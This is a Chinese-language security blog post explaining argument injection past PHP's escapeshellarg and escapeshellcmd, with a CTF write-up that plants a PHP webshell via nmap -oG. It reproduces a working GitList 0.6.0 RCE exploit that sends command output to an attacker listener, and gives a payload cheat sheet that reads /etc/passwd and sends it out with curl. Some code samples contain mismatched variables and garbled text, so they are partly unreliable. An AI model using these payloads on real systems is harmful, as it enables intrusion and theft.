参数注入漏洞与两个函数

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

老规矩,看代码。

主要就是获得一个host参数和nmap命令拼接起来进行命令执行,但是值得注意的是有两个函数escapeshellarg()escapeshellcmd()。用了分号、管道符等等发现都无法绕过。所以有必要看看这两个函数到底是何方神圣了!

escapeshellarg和escapeshellcmd的功能

escapeshellarg

1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令

escapeshellcmd

1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令

example

# 无过滤函数 附加命令id 附加参数-l
<?php
$shell = '-l;id';
system('ls '.$username);
?>
# total 4
# -rwxrw-rw-. 1 root root 56 Sep 1 19:15 index.php
# uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
# 使用escapeshellcmd 附加命令id 无附加参数
<?php
$shell = ';id';
system(escapeshellcmd('ls '.$username));
?>
# (无回显)

# 使用escapeshellcmd 无附加命令 附加参数-l
<?php
$shell = '-l';
system(escapeshellcmd('ls '.$username));
?>
# total 4
# -rwxrw-rw-. 1 root root 56 Sep 1 19:15 index.php
# 使用escapeshellarg 附加命令id 无附加参数
<?php
$shell = ';id';
system(escapeshellarg('ls '.$username));
?>
# (无回显)

# 使用escapeshellcmd 无附加命令 附加参数-l
<?php
$shell = '-l';
system(escapeshellarg('ls '.$username));
?>
# (无回显)

对比上述结果不难发现,各组之间的结果差异。那么escapeshellcmdescapeshellarg的具体执行作用差异是什么呢?

<?php
$shell = 'ls';
echo escapeshellcmd($shell); # ls
echo escapeshellarg($shell); # 'ls'
?>
<?php
$shell = 'ls -l';
echo escapeshellcmd($shell); # ls -l
echo escapeshellarg($shell); # 'ls -l'
?>
<?php
$shell = 'ls;id';
echo escapeshellcmd($shell); # ls\;id
echo escapeshellarg($shell); # 'ls;id'
?>
<?php
$shell = 'ls -l;id';
echo escapeshellcmd($shell); # ls -l\;id
echo escapeshellarg($shell); # 'ls -l;id'
?>

可以很清晰的看出来,一个是对参数中的分割符管道符等做转义,一个是将参数完全当作一个字符串来执行。

再看一个转义的例子:

<?php
$shell = "ls '-l";
echo escapeshellcmd($shell)."<br>"; # ls \'-l
echo escapeshellarg($shell)."<br>"; # 'ls '\''-l'
?>

从以上的例子,可以知道利用两个函数进行过滤后无法执行第二条命令,而且会给特殊字符进行加反斜杠转义。

gitlist 0.6.0远程命令执行漏洞

​ gitlist是一款使用PHP开发的图形化git仓库查看工具。在其0.6.0版本中,存在一处命令参数注入问题,可以导致远程命令执行漏洞。

在用户对仓库中代码进行搜索的时候,gitlist将调用git grep命令:

<?php
public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }
    $query = escapeshellarg($query);
    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }

代码中的$query是搜索的关键字,$branch是搜索的分支,可以看到在$query非空的情况下,会先用escapeshellarg()处理数据,但是当$query--open-files-in-pager=id;时,会执行id命令。

附赠exp:

import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re

url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001

print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"

print "REMEMBER TO DISABLE FIREWALL"

search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)

if len(repos) == 0:
    print "[-] No repos"
    os._exit(0)

for repo in repos:
    print "[+] Found repo {}".format(repo)
    r = requests.get("{}{}".format(url, repo))
    files = re.findall(r'href="[^"]+blob/master/([^"]+)"', r.text)
    for file in files:
        r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
        print "[+] Found file {}".format(file)
        print r.text[0:100]
        search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])        
        break

if not search_url:
    print "[-] No files in repo"
    os._exit(0)

print "[+] Search using {}".format(search_url)

class GetHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed_path = urlparse.urlparse(self.path)
        print "[+] Command response"
        print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
        self.send_response(200)
        self.end_headers()
        self.wfile.write("OK")
        os._exit(0)

    def log_message(self, format, *args):
        return

def exploit_server():
    server = HTTPServer((your_ip, your_port), GetHandler)
    server.serve_forever()

print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"

r  = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\"http://{}:{}/?a=\".urlencode(shell_exec(\"{}\")));"'.format(your_ip, your_port, command)})

while True:
    time.sleep(1)

这是因为git grep命令中参数--open-files-in-pager=id虽然被当作了字符串但是出现在了参数选项中,所以被直接执行。这个漏洞就是参数注入

根据P神的帖子,我们也了解到了即使是其他语言,只要是将参数放在了参数选项的位置上,都有可能触发参数注入漏洞。

BUUCTF 2018 Online Tools

题目就是文章开头的那段代码,是一个要对nmap命令进行参数注入的题目:

$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

核心代码就是以上这些,首先最想的是逃逸加参数,执行读写操作。那需要先了解一下nmap的参数都有啥。

root@kali:~# nmap -help
Nmap 7.80 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
......
OUTPUT:
  -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
     and Grepable format, respectively, to the given filename.
  -oA <basename>: Output in the three major formats at once
......

然后就注意到了这个参数,-oG可以输出成指定文件名的文件,那岂不是可以写shell了,美滋儿滋儿...

那接下来就得研究研究怎么绕过两个函数了

<?php
highlight_file(__FILE__);
if (isset($_GET['host'])) {
    $host = $_GET['host'];
    echo $host."<br>";
    $host = escapeshellarg($host);
    echo $host."<br>";
    $host = escapeshellcmd($host);
    echo $host."<br>";
    echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$host;
}
?>

当我执行写入shell命令时?host=<?php eval($_POST[1]); ?> -oG Tr0jAn.php得到输出如下:

-oG Tr0jAn.php
' -oG Tr0jAn.php'
'\<\?php eval\(\$_POST\[1\]\)\; \?\> -oG Tr0jAn.php'
nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php eval\(\$_POST\[1\]\)\; \?\> -oG Tr0jAn.php'

可以发现现在无法将-oG当作参数,但是根据之前的example,要是再shell-oG之前加一个单引号,是不是能逃逸呢?

传值?host=<?php eval($_POST[1]); ?>' -oG Tr0jAn.php

' -oG Tr0jAn.php
''\'' -oG Tr0jAn.php'
'\<\?php eval\(\$_POST\[1\]\)\; \?\>'\\'' -oG Tr0jAn.php\'
nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php eval\(\$_POST\[1\]\)\; \?\>'\\'' -oG Tr0jAn.php\'

可以发现-oG已经被当作了参数选项了,那执行试试,发现是失败的,原因是前面数据未闭合,所以继续构造如下payload:?host='<?php eval($_POST[1]); ?> -oG Tr0jAn.php'

' -oG Tr0jAn.php'
''\'' -oG Tr0jAn.php'\'''
''\\''\<\?php eval\(\$_POST\[1\]\)\; \?\> -oG Tr0jAn.php'\\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php eval\(\$_POST\[1\]\)\; \?\> -oG Tr0jAn.php'\\'''

此时才如我们期望的一样闭合了所有引号,此时能够成功执行写入操作。这就写入了shell,连接上就ok了。

拓展

这个漏洞相对简单,利用与绕过也并不困难,主要是找到合适的参数进行注入即可。

常规姿势

tar:压缩some_file/tmp/sth

$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));

创建一个空文件/tmp/exploit

$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));

find:/tmp目录查找文件some_file

$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));

打印/etc/passwd内容

$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));

wget:下载example.php

$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));

保存.php文件到指定目录

$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));

.bat:打印somedir中的文件列表

$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');

并且执行whoami命令

$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');

sendmail:发送mail.txtfrom@sth.com

$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

打印/etc/passwd内容

$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

curl:下载http://example.com内容

$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));

发送/etc/passwd内容到http://example.com

$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));

你可以得到文件内容,使用如下payload:

file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));

MySQL:执行sql语句

$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

运行id命令

$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

unzip:archive.zip解压所有*.tmp文件到/tmp目录

$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));

archive.zip解压所有*.tmp文件到/var/www/html目录

$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');

Escapeshellcmdescapeshellarg

在这个配置中,我们可以传递第二个参数给函数。
列出/tmp目录并忽略sth文件

$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

/tmp目录中列出文件并忽略sth。使用长列表格式。

$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

如果未设置LANG环境变量,则去除非ASCII字符

$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'" 
var_dump(escapeshellarg($filename));

经典EXP

PHP <= 4.3.6 on Windows – CVE-2004-0542

$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');

同时运行dir命令.

$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');

PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 – CVE-2008-2051

shell需要使用GBKEUC-KRSJIS等可变宽度字符集的语言环境。

$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));

或者

$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));

PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows – CVE-2015-4642

额外传递的第三个参数(—param3)。

$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\';
$b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));

PHP 7.x before 7.0.2 – CVE-2016-1904

如果将1024mb字符串传递给escapeshellarg,则导致缓冲区溢出escapeshellcmd

PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows

启用EnableDelayedExpansion后,展开一些环境变量。

然后!STH!运行类似于%STH%

escapeshellarg不会过滤!字符
EnableDelayedExpansion以在HKLMHKCU下的注册表中设置:

[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)

例如:

// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);

PHP < 5.6.18

功能定义于ext/standard/exec.c,运行类似于(escapeshellcmdeschapeshellargshell_exec),忽略PHP字符串的长度,并用NULL终止工作代替。

echo escapeshellarg("helloworld");
=>
hello
最后修改:2020 年 09 月 02 日 10 : 00 PM
请作者喝杯奶茶吧~